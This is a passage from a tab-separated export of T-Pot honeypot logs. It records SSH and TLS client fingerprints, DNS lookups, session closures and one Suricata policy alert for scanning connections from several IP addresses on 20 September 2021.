"curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
26371	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:11:34.734009+03	2021-09-20 14:15:13.182648+03	{"_id": "QQbnAnwBvYTbRNuEdB_q", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "47b5e57a6bd5", "@version": "1", "timestamp": "2021-09-20T11:11:34.734009Z", "@timestamp": "2021-09-20T11:11:34.734Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
26372	115.72.130.93	109.199.241.180	Suricata	2021-09-20 14:11:20.925385+03	2021-09-20 14:15:13.184645+03	{"_id": "hwbnAnwBvYTbRNuEPB51", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "115.72.130.93", "dest_ip": "192.168.20.116", "flow_id": 1470733911323985, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 35766, "dest_port": 22, "timestamp": "2021-09-20T11:11:20.925385Z", "@timestamp": "2021-09-20T11:11:20.925Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
26373	116.105.211.46	109.199.241.180	Fatt	2021-09-20 14:11:20.748577+03	2021-09-20 14:15:13.185645+03	{"_id": "jgbnAnwBvYTbRNuEPR6V", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "src_ip": "116.105.211.46", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 57344, "dest_port": 22, "timestamp": "2021-09-20T11:11:20.748577", "@timestamp": "2021-09-20T11:11:20.748Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
26374	195.24.88.8	109.199.241.180	Suricata	2021-09-20 14:11:55.471512+03	2021-09-20 14:15:13.187645+03	{"_id": "4QbnAnwBvYTbRNuExSBF", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"dns": {"id": 9925, "qr": true, "ra": true, "rd": true, "type": "answer", "flags": "8180", "rcode": "NOERROR", "rrname": "community.sicherheitstacho.eu", "rrtype": "A", "answers": [{"ttl": 1931, "rdata": "160.44.201.156", "rrname": "community.sicherheitstacho.eu", "rrtype": "A"}], "grouped": {"A": ["160.44.201.156"]}, "version": 2}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "195.24.88.8", "asn": 25374, "as_org": "ESCOM Ltd. - Haskovo", "latitude": 42.2839, "location": {"lat": 42.2839, "lon": 22.6911}, "timezone": "Europe/Sofia", "city_name": "Kyustendil", "longitude": 22.6911, "postal_code": "2500", "region_code": "10", "region_name": "Kyustendil", "country_name": "Bulgaria", "country_code2": "BG", "country_code3": "BG", "continent_code": "EU"}, "proto": "UDP", "src_ip": "195.24.88.8", "dest_ip": "192.168.20.116", "flow_id": 1273150385630455, "@version": "1", "in_iface": "enp5s0", "src_port": 53, "dest_port": 40875, "timestamp": "2021-09-20T11:11:55.471512Z", "@timestamp": "2021-09-20T11:11:55.471Z", "event_type": "dns", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	dns	\N	\N
26375	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:11:55.520016+03	2021-09-20 14:15:13.188646+03	{"_id": "4wbnAnwBvYTbRNuExiBq", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "160.44.201.156", "@version": "1", "fatt_tls": {"ja3": "f0a8f03cd88db5395e12077d3e4aa1fc", "ja3Ec": "29-23-30-25-24", "ja3EcFmt": "0-1-2", "ja3Ciphers": "4866-4867-4865-49196-49200-49195-49199-52393-52392-159-158-52394-49327-49325-49326-49324-49188-49192-49187-49191-49162-49172-49161-49171-49315-49311-49314-49310-107-103-57-51-157-156-49313-49309-49312-49308-61-60-53-47-255", "ja3Version": "771", "serverName": "community.sicherheitstacho.eu", "ja3Algorithms": "771,4866-4867-4865-49196-49200-49195-49199-52393-52392-159-158-52394-49327-49325-49326-49324-49188-49192-49187-49191-49162-49172-49161-49171-49315-49311-49314-49310-107-103-57-51-157-156-49313-49309-49312-49308-61-60-53-47-255,0-11-10-35-22-23-13-43-45-51,29-23-30-25-24,0-1-2", "ja3Extensions": "0-11-10-35-22-23-13-43-45-51"}, "protocol": "tls", "src_port": 34896, "dest_port": 443, "timestamp": "2021-09-20T11:11:55.520016", "@timestamp": "2021-09-20T11:11:55.520Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	tls	\N	\N	\N	\N
26376	160.44.201.156	109.199.241.180	Fatt	2021-09-20 14:11:55.559972+03	2021-09-20 14:15:13.190645+03	{"_id": "5AbnAnwBvYTbRNuExiBq", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "160.44.201.156", "asn": 34086, "as_org": "T-Systems International GmbH", "latitude": 51.2993, "location": {"lat": 51.2993, "lon": 9.491}, "timezone": "Europe/Berlin", "longitude": 9.491, "country_name": "Germany", "country_code2": "DE", "country_code3": "DE", "continent_code": "EU"}, "src_ip": "160.44.201.156", "dest_ip": "192.168.20.116", "@version": "1", "fatt_tls": {"ja3s": "ec74a5c51106f0419184d0dd08fb05bc", "ja3sCiphers": "49200", "ja3sVersion": "771", "ja3sAlgorithms": "771,49200,65281-11-35-23", "ja3sExtensions": "65281-11-35-23"}, "protocol": "tls", "src_port": 443, "dest_port": 34896, "timestamp": "2021-09-20T11:11:55.559972", "@timestamp": "2021-09-20T11:11:55.559Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	tls	\N	\N	\N	\N
26377	116.105.211.46	109.199.241.180	Cowrie	2021-09-20 14:11:55.774449+03	2021-09-20 14:15:13.191644+03	{"_id": "6gbnAnwBvYTbRNuExyAM", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.105.211.46", "eventid": "cowrie.session.closed", "message": "Connection lost after 18 seconds", "session": "debf483f58c7", "@version": "1", "duration": 18.07375693321228, "timestamp": "2021-09-20T11:11:55.774449Z", "@timestamp": "2021-09-20T11:11:55.774Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
26378	178.128.198.1	109.199.241.180	Cowrie	2021-09-20 14:11:55.82778+03	2021-09-20 14:15:13.192644+03	{"_id": "6wbnAnwBvYTbRNuExyAM", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "178.128.198.1", "asn": 1241, "as_org": "Forthnet", "latitude": 50.1155, "location": {"lat": 50.1155, "lon": 8.6842}, "timezone": "Europe/Berlin", "city_name": "Frankfurt am Main", "longitude": 8.6842, "postal_code": "60313", "region_code": "HE", "region_name": "Hesse", "country_name": "Germany", "country_code2": "DE", "country_code3": "DE", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "178.128.198.1", "eventid": "cowrie.session.closed", "message": "Connection lost after 1 seconds", "session": "6df5f8c0998f", "@version": "1", "duration": 1.1891672611236572, "timestamp": "2021-09-20T11:11:55.827780Z", "@timestamp": "2021-09-20T11:11:55.827Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
26379	192.168.20.116	109.199.241.180	Suricata	2021-09-20 14:11:56.446418+03	2021-09-20 14:15:13.194643+03	{"_id": "7QbnAnwBvYTbRNuEySAu", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"dns": {"id": 34934, "type": "query", "tx_id": 0, "rrname": "community.sicherheitstacho.eu", "rrtype": "A"}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "geoip": {}, "proto": "UDP", "src_ip": "192.168.20.116", "dest_ip": "195.24.88.8", "flow_id": 1602187830284242, "@version": "1", "in_iface": "enp5s0", "src_port": 38508, "dest_port": 53, "timestamp": "2021-09-20T11:11:56.446418Z", "@timestamp": "2021-09-20T11:11:56.446Z", "event_type": "dns", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	dns	\N	\N
26380	160.44.201.156	109.199.241.180	Fatt	2021-09-20 14:11:56.53698+03	2021-09-20 14:15:13.196646+03	{"_id": "7gbnAnwBvYTbRNuEyiBT", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "160.44.201.156", "asn": 34086, "as_org": "T-Systems International GmbH", "latitude": 51.2993, "location": {"lat": 51.2993, "lon": 9.491}, "timezone": "Europe/Berlin", "longitude": 9.491, "country_name": "Germany", "country_code2": "DE", "country_code3": "DE", "continent_code": "EU"}, "src_ip": "160.44.201.156", "dest_ip": "192.168.20.116", "@version": "1", "fatt_tls": {"ja3s": "ec74a5c51106f0419184d0dd08fb05bc", "ja3sCiphers": "49200", "ja3sVersion": "771", "ja3sAlgorithms": "771,49200,65281-11-35-23", "ja3sExtensions": "65281-11-35-23"}, "protocol": "tls", "src_port": 443, "dest_port": 34898, "timestamp": "2021-09-20T11:11:56.536980", "@timestamp": "2021-09-20T11:11:56.536Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	tls	\N	\N	\N	\N
26381	42.192.44.134	109.199.241.180	Suricata	2021-09-20 14:11:57.860205+03	2021-09-20 14:15:13.197644+03	{"_id": "-wbnAnwBvYTbRNuEzSAX", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "flow": {"start": "2021-09-20T11:11:57.354556+0000", "pkts_toclient": 4, "pkts_toserver": 5, "bytes_toclient": 887, "bytes_toserver": 1336}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY SSH session in progress on Expected Port", "signature_id": 2001978}, "geoip": {"ip": "42.192.44.134", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "42.192.44.134", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 1257501672433916, "payload": "AAADzAYUL2JFlHoJ7Lz2+lxnn/Ll7gAAAShjdXJ2ZTI1NTE5LXNoYTI1NixjdXJ2ZTI1NTE5LXNoYTI1NkBsaWJzc2gub3JnLGVjZGgtc2hhMi1uaXN0cDI1NixlY2RoLXNoYTItbmlzdHAzODQsZWNkaC1zaGEyLW5pc3RwNTIxLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTgtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTYtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwLWV4Y2hhbmdlLXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTEsZGlmZmllLWhlbGxtYW4tZ3JvdXAxLXNoYTEsZXh0LWluZm8tYwAAAHFzc2gtZWQyNTUxOSxlY2RzYS1zaGEyLW5pc3RwNTIxLGVjZHNhLXNoYTItbmlzdHAzODQsZWNkc2Etc2hhMi1uaXN0cDI1Nixyc2Etc2hhMi01MTIscnNhLXNoYTItMjU2LHNzaC1yc2Esc3NoLWRzcwAAAHhhZXMyNTYtZ2NtQG9wZW5zc2guY29tLGFlczEyOC1nY21Ab3BlbnNzaC5jb20sYWVzMjU2LWN0cixhZXMxOTItY3RyLGFlczEyOC1jdHIsYWVzMjU2LWNiYyxhZXMxOTItY2JjLGFlczEyOC1jYmMsM2Rlcy1jYmMAAAB4YWVzMjU2LWdjbUBvcGVuc3NoLmNvbSxhZXMxMjgtZ2NtQG9wZW5zc2guY29tLGFlczI1Ni1jdHIsYWVzMTkyLWN0cixhZXMxMjgtY3RyLGFlczI1Ni1jYmMsYWVzMTkyLWNiYyxhZXMxMjgtY2JjLDNkZXMtY2JjAAAAe2htYWMtc2hhMi0yNTYtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi01MTItZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMS1ldG1Ab3BlbnNzaC5jb20saG1hYy1zaGEyLTI1NixobWFjLXNoYTItNTEyLGhtYWMtc2hhMQAAAHtobWFjLXNoYTItMjU2LWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTItNTEyLWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTEtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi0yNTYsaG1hYy1zaGEyLTUxMixobWFjLXNoYTEAAAAEbm9uZQAAAARub25lAAAAAAAAAAAAAAAAAAAAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 38944, "app_proto": "ssh", "dest_port": 22, "timestamp": "2021-09-20T11:11:57.860205Z", "@timestamp": "2021-09-20T11:11:57.860Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "....../bE.z.....\\\\g.......(curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c...qssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1....none....none..................."}}	1	\N	\N	alert	known attacker	\N
26382	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:11:57.84236+03	2021-09-20 14:15:13.198646+03	{"_id": "_wbnAnwBvYTbRNuEziA9", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "116.98.160.162", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 34780, "timestamp": "2021-09-20T11:11:57.842360", "@timestamp": "2021-09-20T11:11:57.842Z", 